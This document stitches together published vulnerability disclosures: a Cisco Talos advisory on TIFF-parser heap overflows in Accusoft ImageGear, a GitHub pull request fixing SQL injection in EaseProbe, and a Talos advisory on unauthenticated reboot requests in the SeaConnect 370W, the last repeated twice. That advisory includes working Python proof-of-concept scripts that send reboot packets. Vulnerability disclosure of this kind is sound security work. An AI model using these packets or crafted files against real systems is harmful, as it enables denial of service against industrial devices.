Two heap-based buffer overflow vulnerabilities exist in the TIFF parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger these vulnerabilities.This heap-based buffer oveflow takes place trying to copy the first 12 bits from local variable.

**Summary**

Two heap-based buffer overflow vulnerabilities exist in the TIFF parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger these vulnerabilities.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

When a TIFF file, with specific tag requirements, is loaded, its data are parsed by the FUN_10074d50 function.

The essential tags required to reach this “parser”:

*   The value of the SamplesPerPixel tag, greater than 2
*   The value of the BitsPerSample tag should be 0xc (we will focus on this, but different values are parsed by the same function)
*   The value of the PlanarConfiguration tag should be 2
*   The presence of either TileOffsets or StripOffsets tag with N greater than 1

The funtion FUN_10074d50:

    dword __cdecl
    FUN_10074d50(uint ID_TIF_SAMPLES_PER_PIXEL,int sample_index,uint ID_TIF_BITS_PER_SAMPLE,
                int ID_TIF_IMAGE_WIDTH,byte *src_buff,void *dest_buff,size_t source_size)
    
    {
     [...]
    
      if (true) {
        switch(ID_TIF_BITS_PER_SAMPLE) {
       [...]
        case 0xc:
          alternate_branch = false;
          loop_index = 0;
          width_index = ID_TIF_IMAGE_WIDTH;
          if (0 < ID_TIF_IMAGE_WIDTH) {
            do {
              if (0 < (int)ID_TIF_SAMPLES_PER_PIXEL) {
                ID_TIF_BITS_PER_SAMPLE = ID_TIF_SAMPLES_PER_PIXEL;
                do {
                  if (alternate_branch) {
                    if (alternate_branch) {
                      curren_src_byte_cur = src_buff + loop_index;
                      loop_index_+1 = loop_index + 1;
                      loop_index = loop_index + 2;
                      *(ushort *)((int)dest_buff + sample_index * 2) =
                           CONCAT11(*curren_src_byte_cur,src_buff[loop_index_+1]) & 0xfff;                  [1]
                      sample_index = sample_index + ID_TIF_SAMPLES_PER_PIXEL;
                      alternate_branch = false;
                    }
                  }
                  else {
                    *(ushort *)((int)dest_buff + sample_index * 2) =
                         (ushort)(src_buff[loop_index + 1] >> 4) | 
                                 (ushort)src_buff[loop_index] << 4;                                         [2]
                    sample_index = sample_index + ID_TIF_SAMPLES_PER_PIXEL;
                    loop_index = loop_index + 1;
                    alternate_branch = true;
                  }
    [...]
    }
    

In this function the src_buff, which represents a “row” of data, is copied into the dest_buff. This function implements the data parsing for the supported BitsPerSample values. When BitsPerSample is 0xc the copy of the data is perfomed in a loop iterated SamplesPerPixel times. For every two iterations, there is a writing pattern where for each 3 bytes read from src_buff, there are 4 written into dest_buff. That loop is then iterated ImageWidth times.

The idea is that 16 bits (i.e., 2 bytes) of dest_buff are filled with 12 bits of src_buff. At [2] the first 12 bits of the source are manipulated, and the remaining 12, in order to complete 3 bytes read, are manipulated at [1]. It is important to note that the acess to dest_buff is not sequential, but instead, it is calculated using sample_index as base offset, incremented each iteration by SamplesPerPixel, a value taken from the homonymous TIFF tag.

The call to FUN_10074d50 is originated by the TIFF_parse function, the “main” TIFF parser:

    void TIFF_parse(mys_table_function *param_1,uint param_2,mys_tags_data *TIFF_tags,undefined4 param_4
                   ,HIGDIBINFO param_5,subsapling_Y_Cb_Cr *YCbCr_subsamp)
    
    {
      [...]
    
      dst_buff = (byte *)0x0;
      width_buff_size = 0;
      local_c = 0;
      multipler = (byte *)0x0;
      arr_of_dest_buff = (byte **)0x0;
      if (*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL == 0) {
        AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\tifread.c",0x1793,-0x80d,0,0,0,(LPCHAR)0x0);
        AF_error_check();
        return;
      }
      io_buff = (io_buffer *)
                AF_memm_alloc(param_2,(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL * 0x34);
      if (io_buff == (io_buffer *)0x0) {
        AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\tifread.c",0x1799,-1000,0,0,0,(LPCHAR)0x0);
        AF_error_check();
        return;
      }
      src_buff = (byte **)AF_memm_alloc(param_2,(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL <<
                                                2);
      if (src_buff == (byte **)0x0) {
        sample_per_pixel_index = 0x17a1;
        lpExtraText_00 = src_buff;
      }
      else {
        OS_memset(src_buff,0,(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL << 2);
        lpExtraText_00 =
             (byte **)AF_memm_alloc(param_2,(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL << 2);
        if (lpExtraText_00 != (byte **)0x0) {
          if (TIFF_tags->ID_TIF_PHOTO_INTERP == IG_TIF_PHOTO_YCBCR) {
            [...]
          }
          else {
    LAB_10177d86:
            if (TIFF_tags->ID_TIF_PLANAR_CONFIG == 1) {
              [...]
            }
            else {
              if (TIFF_tags->ID_TIF_PLANAR_CONFIG == 2) {
                if (TIFF_tags->ID_TIF_PHOTO_INTERP == IG_TIF_PHOTO_YCBCR) {
                  [...]
                }
                else {
                  sample_per_pixel_index = 0;
                  if (*(short *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL != 0) {
                    do {
                      loop_index = sample_per_pixel_index + 1;
                      iVar1 = (int)*(short *)((TIFF_tags->ID_TIF_BITS_PER_SAMPLE - 2) + loop_index * 2)
                              * TIFF_tags->ID_TIF_IMAGE_WIDTH + 7;
                      lpExtraText_00[sample_per_pixel_index] =
                           (byte *)((int)(iVar1 + (iVar1 >> 0x1f & 7U)) >> 3);                              [3]
                      sample_per_pixel_index = loop_index;
                    } while (loop_index < (int)(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL);
                  }
                  width_buff_size = IO_raster_size_get(param_5);
                  dst_buff = (byte *)AF_memm_alloc(param_2,width_buff_size);                                [4]
                  if (dst_buff == (byte *)0x0) {
                    AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\tifread.c",0x1843,-1000,0,
                                      param_2,width_buff_size,(LPCHAR)0x0);
                    goto LAB_10178379;
                  }
                }
                dVar3 = 0;
                sample_size_index = 0;
                piVar4 = io_buff;
                if (*(short *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL != 0) {
                  do {
                    dVar2 = IOb_init(param_1,param_2,piVar4,(int)lpExtraText_00[sample_size_index] * 5,1
                                    );                                                                      [5]
                    if (0 < (int)dVar2) {
                      dVar3 = 1;
                      local_c = 1;
                      break;
                    }
                    sample_size_index = sample_size_index + 1;
                    piVar4 = (io_buffer *)&piVar4->size_buffer;
                  } while (sample_size_index <
                           (int)(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL);
                }
                sample_per_pixel_index = 0;
                param_5 = (HIGDIBINFO)0x0;
                for (local_18 = 0;
                    (dVar3 == 0 &&
                    (local_18 < (int)TIFF_tags->from_ID_TIF_STRIP_OFFSET_or_ID_TIF_TILE_OFFSETS));
                    local_18 = local_18 + 1) {
                  if ((TIFF_tags->ID_TIF_TILE_OFFSETS != 0) &&
                     (*(short *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL != 0)) {
                    iVar1 = 0;
                    piVar4 = io_buff;
                    do {
                      perform_some_read_or_write_intofile
                                (piVar4,*(int *)(TIFF_tags->ID_TIF_TILE_OFFSETS +
                                           (TIFF_tags->
                                           result_strip_tile_offset_divided_sample_per_pixel *
                                           iVar1 + local_18) * 4) + TIFF_tags->IFD_Offset,0,0);             [6]
                      iVar1 = iVar1 + 1;
                      piVar4 = (io_buffer *)&piVar4->size_buffer;
                      dVar3 = local_c;
                      sample_per_pixel_index = (int)param_5;
                    } while (iVar1 < (int)(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL);
                  }
                  local_28 = 0;
                  if (0 < (int)TIFF_tags->ID_TIF_ROWS_PER_STRIP) {
                    do {
                      local_c = dVar3;
                      if ((int)TIFF_tags->ID_TIF_IMAGE_HEIGHT <= sample_per_pixel_index) break;
                      iVar1 = 0;
                      sample_per_pixel_index = (int)param_5;
                      if (TIFF_tags->ID_TIF_PHOTO_INTERP == IG_TIF_PHOTO_YCBCR) {
                        [...]
                      }
                      else {
                        piVar4 = io_buff;
                        if (*(short *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL != 0) {
                          do {
                            vert_buff = (byte *)get_data_from_file(piVar4,(uint)*lpExtraText_00);
                            src_buff[iVar1] = vert_buff;
                            if (vert_buff == (byte *)0x0) {
                              AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\tifread.c",0x1887,
                                                -0x803,0,(AT_INT)*lpExtraText_00,0,(LPCHAR)0x0);
                              dVar3 = dVar3 + 1;
                              break;
                            }
                            iVar1 = iVar1 + 1;
                            piVar4 = (io_buffer *)&piVar4->size_buffer;
                          } while (iVar1 < (int)(uint)*(ushort *)&TIFF_tags->ID_TIF_SAMPLES_PER_PIXEL);
                        }
                        local_c = dVar3;
                        if (dVar3 != 0) break;
                        FUN_1017c970(TIFF_tags,param_4,src_buff,lpExtraText_00,dst_buff);                   [7]
    
                        [...]
    }
    

This function is responsible for preparing the src_buff and dest_buff and calling the correct TIFF “sub-parser”. At [5], SamplesPerPixel buffers are allocated, each with size calcualted at [3]. These buffers, in this specific scenario, are the same sizes, and each individually will be used as src_buff. The size of a src_buff is:

    src_size = (((BitsPerSample & 0xffff) * width + 7) >> 3) * 5
    

Eventually, at [6] these buffers are filled.

At [4] the dest_buff is allocated, using as size the return value of the function IO_raster_size_get. The return value of IO_raster_size_get, in this specific case, can be simplified as:

    dest_size = (((next_mult_of_8_of_BitsPerSample * SamplesPerPixel * ImageWidth) + 0x1f) >> 3) & 0xfffffffc
    

Where ImageWidth and SamplesPerPixel correspond to the homonymous TIFF tags. Instead, next_mult_of_8_of_BitsPerSample is the next multiple of 8 of BitsPerSample. That is, like the other two, a value directly taken from a TIFF tag.

The TIFF_parse then calls at [7] the FUN_1017c970 function, that essentially calls FUN_10074d50 with each dest_buff and sample_index, the variable used as base offset to access the src_buff that goes from 0 to SamplesPerPixel.

**CVE-2021-21944 - TIFF parser - planar format. First 12 bits**

A specially-crafted TIFF file can lead to a heap-based buffer overflow in the TIFF image parser, due to a missing boundary check.

Trying to load a malicious TIFF file, we end up in the following situation:

    (dcc.182c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000036 ebx=00000007 ecx=0bd58e08 edx=00000414 esi=000000fc edi=0bd5eef0
    eip=70104f1f esp=0019f588 ebp=0019f5ac iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    igCore19d!IG_mpi_page_set+0x8eef:
    70104f1f 66891471        mov     word ptr [ecx+esi*2],dx  ds:002b:0bd59000=????
    

This access violation take place at [2] in the FUN_10074d50 function, when trying to copy the first 12 bits from src_buff to dest_buff.

From the allocation of src_buff and dest_buff, in the TIFF_parse, to [2], the program does not check, taking into account the writing pattern used, a possible out-of-bounds access.

For example:

    sample_index    = 0
    ImageWidth      = 0x24
    SamplesPerPixel = 0x7
    BitsPerSample   = 0xc
    

We will obtain a dest_size of 0x1f8 and src_size of 0x10e.

At the fifth iteration of the outer loop in FUN_10074d50 (i.e., ImageWidth loop iteration 5) and the first of the inner one (i.e., SamplesPerPixel loop iteration 1) the element accessed at that iteration would be:

    (sample_index + SamplesPerPixel*SamplesPerPixel) * width_iteration + 
            sample_index + (sample_per_pixel_iteration * SamplesPerPixel) =
    (0 + 7 * 7) * 5 + (0 + 1 * 7) = 0xfc
    

Because the dest_size is a 16 bits buffer, the element 0xfc is located at offset 0x1f8 and 0x1f9, and because the dest_size is only 0x1f8 bytes long we are accessing that heap buffer out-of-bound.

So based on the specific TIFF tags, the dest_buff could be bigger or smaller than a single src_buff. In either case a heap-base buffer oveflow could occur due to the specific writting pattern and the missing boundary check.

**CVE-2021-21945 - TIFF parser - planar format. Second 12 bits**

Trying to load a malicious TIFF file, we end up in the following situation:

    (22a8.1bbc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000006 ebx=00000007 ecx=0bd28fe0 edx=00000141 esi=00000015 edi=0bd48ff0
    eip=6f3b4efd esp=0019f588 ebp=0019f5ac iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    igCore19d!IG_mpi_page_set+0x8ecd:
    6f3b4efd 66891471        mov     word ptr [ecx+esi*2],dx  ds:002b:0bd2900a=????
    

This access violation takes place at [1] in the FUN_10074d50 function, when trying to copy the second 12 bits from src_buff to dest_buff.

From the allocation of src_buff and dest_buff, in the TIFF_parse, to [1], the program does not check, taking into account the writing pattern used, a possible out-of-bounds access.

For example with:

    sample_index    = 0
    ImageWidth      = 0x4
    SamplesPerPixel = 0x7
    BitsPerSample   = 0xc
    

We will obtain a dest_size of 0x38 and src_size of 0x1e

At the first iteration of the outer loop in FUN_10074d50 (i.e., ImageWidth loop iteration 0) and the fourth one of the inner one (i.e., SamplesPerPixel loop iteration 4) the element accessed at that iteration would be:

    (sample_index + SamplesPerPixel*SamplesPerPixel) * width_iteration +
            sample_index + (sample_per_pixel_iteration * SamplesPerPixel) =
            7 * 4 = 0x1c
    

Because the dest_size is a 16 bits buffer, the element 0x1c is located at offset 0x38 and 0x39 and because the dest_size is only 0x38 bytes long we are accessing that heap buffer out-of-bound.

**Timeline**

2021-09-10 - Initial contact  
2021-09-14 - Vendor acknowledged and created support ticket  
2021-09-21 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21944: TALOS-2021-1374 || Cisco Talos Intelligence Group

EaseProbe is a tool that can do health/status checking. An SQL injection issue was discovered in EaseProbe before 2.1.0 when using MySQL/PostgreSQL data checking. This problem has been fixed in v2.1.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Conversation**

The MySQL/PostgreSQL data checking could have the SQL injection problem, this PR tries to fix it by adding the quotes in SQL and escaping the quotes in configuration.

func EscapeQuote(str string) string {

type Escape struct {

From string

To string

}

escape := \[\]Escape{

{From: "\`", To: ""}, // remove the backtick

{From: \`\\\`, To: \`\\\\\`},

{From: \`'\`, To: \`\\'\`},

{From: \`"\`, To: \`\\"\`},

}

  

for \_, e := range escape {

str = strings.ReplaceAll(str, e.From, e.To)

}

return str

}

**Choose a reason for hiding this comment**

The reason will be displayed to describe this comment to others. Learn more.

as a cornor case, abc\'def will be escaped to abc\\\'def, is this a correct result?

Copy link

Contributor Author

**Choose a reason for hiding this comment**

The reason will be displayed to describe this comment to others. Learn more.

It's correct. The sql injection always needs a quote to close the previous statement. So escape the quote is key work to prevent injection.

 haoel added this pull request to the merge queue

Apr 25, 2023

Hi @haoel, great to see the issue is addressed. Could you open a Github security advisory for the SQL injection vulnerability we found?

@oxeye-daniel , thanks for the reminder, we have open a github security advisory at: GHSA-4c32-w6c7-77x4

please help review and let us know if anything is incorrect, as this is the first time we open such an advisory, thanks.

Hi @localvar thanks a lot! No problem, you can go ahead and add me as editor for the advisory so I can suggest changes

Reviewers

 localvar localvar approved these changes

 samanhappy samanhappy approved these changes

CVE-2023-33967: Fix the SQL Injection by haoel · Pull Request #330 · megaease/easeprobe

A denial of service vulnerability exists in the Modbus configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**Summary**

Two denial of service vulnerabilities exist in the Modbus/SeaMAX Remote Configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger these vulnerabilities.

**Tested Versions**

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

**Product URLs**

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

**CVSSv3 Score**

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W can be configured through multiple independent means: HTTP, Modbus and the SeaMAX Ethernet API. Of these configuration interfaces, only the HTTP interface is enabled by default, and it is also the only one that enforces any level of authentication. Both the Modbus and SeaMAX Ethernet API interfaces are accessible via unauthenticated network requests (Modbus via TCP 502, SeaMAX Ethernet API via UDP 30718) when they are enabled. Certain modifications to the device settings require a reboot before taking effect, and so each method provides a mechanism to reboot the device. An attacker with network access to either of these ports can consistently render the device unusable by sending a properly formatted ‘Reboot’ request packet.

**CVE-2021-21964 - Unauthenticated Modbus Interface**

When the Modbus service has been enabled, a socket is bound to TCP port 502, and properly formatted Modbus requests are dispatched to a function located at offset 0x121B4, which we have titled `DispatchModbusRequest`. This function takes as its parameters a pointer to the Unit Identifier field of the MBAP header (located one byte ahead of the PDU) and the value of the length field provided in the MBAP. On top of the standard Modbus function codes, this device has support for several proprietary function codes as well, which can be seen below.

    int __fastcall DispatchModbusRequest(char *buffer, int buffer_len)
    {
      int fcode; // r0
    
      if ( buffer_len < 2 )
        return 0;
    
      fcode = buffer[1];
    
      switch (fcode)
      {
          case 0x01:
              return mbReadCoil(buffer, buffer_len);
          case 0x02:
              return mbReadDiscreteInput(buffer, buffer_len);
          case 0x03:
              return mbReadHoldingRegisters(buffer);
          case 0x04:
              return mbReadInputRegisters(buffer, buffer_len);
          case 0x05:
              return mbWriteSingleCoil(buffer, buffer_len);
          case 0x06:
              return mbWriteSingleHoldingRegister(buffer, buffer_len);
          case 0x0F:
              return mbWriteMultipleCoils(buffer, buffer_len);
          case 0x13:
              Reboot();  // noreturn
          case 0x45:
              return mbHandleFunction45(buffer);
          case 0x48:
              return mbChangeMacAddress(buffer, buffer_len);
          case 0x64:
              return mbWriteAnalogInputModes(buffer, buffer_len);
          case 0x65:
              return mbReadAnalogInputModes(buffer);
          case 0x66:
              return mbGetFirmwareVersion(buffer);
          default:
              return ModbusError(buffer, 1);
      }
    }
    

For this device, the modbus server provides access to manipulate or view the status of digital inputs and outputs, analog input readings and their operation modes, the device’s MAC address and firmware versions, as well as issue a Reboot request.

In order to render this device relatively unusable, an attacker need only issue Modbus requests for function 0x13 every time it sees the device reconnect to the network.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('<target>', 502))
    s.send(b'\x00\x00\x00\x00\x00\x02\x00\x13')
    

**CVE-2021-21965 - Unauthenticated SeaMAX Ethernet API**

The SeaMAX Ethernet API can also be used for device configuration. Commonly, this interaction will occur from within the provided SeaLevel software (“SeaMAX Ethernet Configuration” and “MaxSSD”) or from software built using the SeaMAX SDK. The SeaMAX Ethernet API is exposed on UDP port 30718 and is rather straightforward. Included below are the relevant portions of the function responsible for parsing and dispatching incoming requests. The portions we care about are contained within what we’ve termed the `RUN` state.

    void HandleSeaMAXAPIRequest()
    {
      ...
      switch (global_SeaMAXAPI_State) {
          case INIT:
            // Initialization of global_SeaMAXAPI_Socket, bound to UDP 30718
            ...
            break;
            
          case RUN:
            buffer = global_SeaMAX_recv_buffer;
            length = recvfrom(global_SeaMAXAPI_Socket, buffer, 150, 0, &src_addr, &addrlen);
            if ( length > 0 ) {
              if ( length >= 4 && !buffer[0] && !buffer[2]) {
                // Packet must be 4 bytes or larger, and the 0th and 2nd bytes *must* be 0x00
                switch ( buffer[3] )  // Function Code is the 3rd byte
                {
                  case 0xC0:
                    HandleWriteSetupRecord0(buffer, sock, &from);
                    break;
                  case 0xC3:
                    HandleWriteSetupRecord3(buffer, sock, &from);
                    break;
                  case 0xE0:
                    HandleQuerySetupRecord0(buffer, sock, &from);
                    break;
                  case 0xE3:
                    HandleQuerySetupRecord3(buffer, sock, &from);
                    break;
                  case 0xF6:
                    HandleFwVersionRequest(buffer, sock, &from);
                    break;
                  default:
                    Report("E: UNKNOWN(buffer[3] = 0x%02X, length=%d)\r\n", buffer[3], length);
                    break;
                }
              }
            }
            break;
    
          case STOP:
            // Tear down global_SeaMAXAPI_Socket
            ...
            break;
      }
      ...
    }
    

For a request to be appropriately dispatched, it must meet a handful of requirements: 1. It must be at least four bytes long 2. The 0th and 2nd bytes must be null 3. The 3rd byte must be one of `{0xC0, 0xC3, 0xE0, 0xE3}`

In particular, the `HandleWriteSetupRecord0` and `HandleWriteSetupRecord3` allow a remote user to configure settings such as device name, static IP address, DHCP options, etc. If the configuration change made by the remote user necessitates a device reboot, then the first byte of the request will be set to zero as well.

As a reference, we include a decompilation of the `HandleWriteSetupRecord3` function.

    void HandleWriteSetupRecord3(char *buffer, int sockfd, SlInAddr_t *from_addr)
    {
      if ( IsSeaMAXEthernetAPIEnabled() ) {
        Report("I: Write Setup Record 3\r\n");
        buffer[3] = 0xB3;  // buffer is edited in place to serve as the response buffer, so set the 'response' code to 0xC3 - 0x10
        memset(global_DeviceName[2], '\0', 8);  // Empty the device name field, after the first type bytes ('SL')
        memcpy(global_DeviceName[2], buffer[106], 7);  // Copy the new device name out of the request
        global_DeviceNameHasChanged = 1;
        SetDeviceName();
        sendto(sockfd, buffer, 4, 0, &from_addr, 4);
        ...  // Error handling related to sendto failures
        if ( !buffer[1] )
            Reboot();
      }
    }
    

Note the final conditional check, where the first byte (zero-indexed) of the packet is checked to see if a reboot has been requested.

Similar to the modbus reboot function, a remote attacker can render a device relatively unusable by submitting properly-formed SeaMAX requests that will cause the device to reboot. Similarly, an attacker could potentially make breaking changes to a device’s network configuration, such as enabling or disabling DHCP.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(b'\x00\x00\x00\xC3', ('<target_ip>', 30718))
    

**Timeline**

2021-10-26 - Vendor Disclosure  
2022-01-27 - Vendor Patched  
2022-02-01 - Public Release

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

CVE-2021-21964: TALOS-2021-1392 || Cisco Talos Intelligence Group

**Summary**

Two denial of service vulnerabilities exist in the Modbus/SeaMAX Remote Configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger these vulnerabilities.

**Tested Versions**

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

**Product URLs**

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

**CVSSv3 Score**

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W can be configured through multiple independent means: HTTP, Modbus and the SeaMAX Ethernet API. Of these configuration interfaces, only the HTTP interface is enabled by default, and it is also the only one that enforces any level of authentication. Both the Modbus and SeaMAX Ethernet API interfaces are accessible via unauthenticated network requests (Modbus via TCP 502, SeaMAX Ethernet API via UDP 30718) when they are enabled. Certain modifications to the device settings require a reboot before taking effect, and so each method provides a mechanism to reboot the device. An attacker with network access to either of these ports can consistently render the device unusable by sending a properly formatted ‘Reboot’ request packet.

**CVE-2021-21964 - Unauthenticated Modbus Interface**

When the Modbus service has been enabled, a socket is bound to TCP port 502, and properly formatted Modbus requests are dispatched to a function located at offset 0x121B4, which we have titled DispatchModbusRequest. This function takes as its parameters a pointer to the Unit Identifier field of the MBAP header (located one byte ahead of the PDU) and the value of the length field provided in the MBAP. On top of the standard Modbus function codes, this device has support for several proprietary function codes as well, which can be seen below.

    int __fastcall DispatchModbusRequest(char *buffer, int buffer_len)
    {
      int fcode; // r0
    
      if ( buffer_len < 2 )
        return 0;
    
      fcode = buffer[1];
    
      switch (fcode)
      {
          case 0x01:
              return mbReadCoil(buffer, buffer_len);
          case 0x02:
              return mbReadDiscreteInput(buffer, buffer_len);
          case 0x03:
              return mbReadHoldingRegisters(buffer);
          case 0x04:
              return mbReadInputRegisters(buffer, buffer_len);
          case 0x05:
              return mbWriteSingleCoil(buffer, buffer_len);
          case 0x06:
              return mbWriteSingleHoldingRegister(buffer, buffer_len);
          case 0x0F:
              return mbWriteMultipleCoils(buffer, buffer_len);
          case 0x13:
              Reboot();  // noreturn
          case 0x45:
              return mbHandleFunction45(buffer);
          case 0x48:
              return mbChangeMacAddress(buffer, buffer_len);
          case 0x64:
              return mbWriteAnalogInputModes(buffer, buffer_len);
          case 0x65:
              return mbReadAnalogInputModes(buffer);
          case 0x66:
              return mbGetFirmwareVersion(buffer);
          default:
              return ModbusError(buffer, 1);
      }
    }
    

For this device, the modbus server provides access to manipulate or view the status of digital inputs and outputs, analog input readings and their operation modes, the device’s MAC address and firmware versions, as well as issue a Reboot request.

In order to render this device relatively unusable, an attacker need only issue Modbus requests for function 0x13 every time it sees the device reconnect to the network.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('<target>', 502))
    s.send(b'\x00\x00\x00\x00\x00\x02\x00\x13')
    

**CVE-2021-21965 - Unauthenticated SeaMAX Ethernet API**

The SeaMAX Ethernet API can also be used for device configuration. Commonly, this interaction will occur from within the provided SeaLevel software (“SeaMAX Ethernet Configuration” and “MaxSSD”) or from software built using the SeaMAX SDK. The SeaMAX Ethernet API is exposed on UDP port 30718 and is rather straightforward. Included below are the relevant portions of the function responsible for parsing and dispatching incoming requests. The portions we care about are contained within what we’ve termed the RUN state.

    void HandleSeaMAXAPIRequest()
    {
      ...
      switch (global_SeaMAXAPI_State) {
          case INIT:
            // Initialization of global_SeaMAXAPI_Socket, bound to UDP 30718
            ...
            break;
            
          case RUN:
            buffer = global_SeaMAX_recv_buffer;
            length = recvfrom(global_SeaMAXAPI_Socket, buffer, 150, 0, &src_addr, &addrlen);
            if ( length > 0 ) {
              if ( length >= 4 && !buffer[0] && !buffer[2]) {
                // Packet must be 4 bytes or larger, and the 0th and 2nd bytes *must* be 0x00
                switch ( buffer[3] )  // Function Code is the 3rd byte
                {
                  case 0xC0:
                    HandleWriteSetupRecord0(buffer, sock, &from);
                    break;
                  case 0xC3:
                    HandleWriteSetupRecord3(buffer, sock, &from);
                    break;
                  case 0xE0:
                    HandleQuerySetupRecord0(buffer, sock, &from);
                    break;
                  case 0xE3:
                    HandleQuerySetupRecord3(buffer, sock, &from);
                    break;
                  case 0xF6:
                    HandleFwVersionRequest(buffer, sock, &from);
                    break;
                  default:
                    Report("E: UNKNOWN(buffer[3] = 0x%02X, length=%d)\r\n", buffer[3], length);
                    break;
                }
              }
            }
            break;
    
          case STOP:
            // Tear down global_SeaMAXAPI_Socket
            ...
            break;
      }
      ...
    }
    

For a request to be appropriately dispatched, it must meet a handful of requirements: 1. It must be at least four bytes long 2. The 0th and 2nd bytes must be null 3. The 3rd byte must be one of {0xC0, 0xC3, 0xE0, 0xE3}

In particular, the HandleWriteSetupRecord0 and HandleWriteSetupRecord3 allow a remote user to configure settings such as device name, static IP address, DHCP options, etc. If the configuration change made by the remote user necessitates a device reboot, then the first byte of the request will be set to zero as well.

As a reference, we include a decompilation of the HandleWriteSetupRecord3 function.

    void HandleWriteSetupRecord3(char *buffer, int sockfd, SlInAddr_t *from_addr)
    {
      if ( IsSeaMAXEthernetAPIEnabled() ) {
        Report("I: Write Setup Record 3\r\n");
        buffer[3] = 0xB3;  // buffer is edited in place to serve as the response buffer, so set the 'response' code to 0xC3 - 0x10
        memset(global_DeviceName[2], '\0', 8);  // Empty the device name field, after the first type bytes ('SL')
        memcpy(global_DeviceName[2], buffer[106], 7);  // Copy the new device name out of the request
        global_DeviceNameHasChanged = 1;
        SetDeviceName();
        sendto(sockfd, buffer, 4, 0, &from_addr, 4);
        ...  // Error handling related to sendto failures
        if ( !buffer[1] )
            Reboot();
      }
    }
    

Note the final conditional check, where the first byte (zero-indexed) of the packet is checked to see if a reboot has been requested.

Similar to the modbus reboot function, a remote attacker can render a device relatively unusable by submitting properly-formed SeaMAX requests that will cause the device to reboot. Similarly, an attacker could potentially make breaking changes to a device’s network configuration, such as enabling or disabling DHCP.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(b'\x00\x00\x00\xC3', ('<target_ip>', 30718))
    

**Timeline**

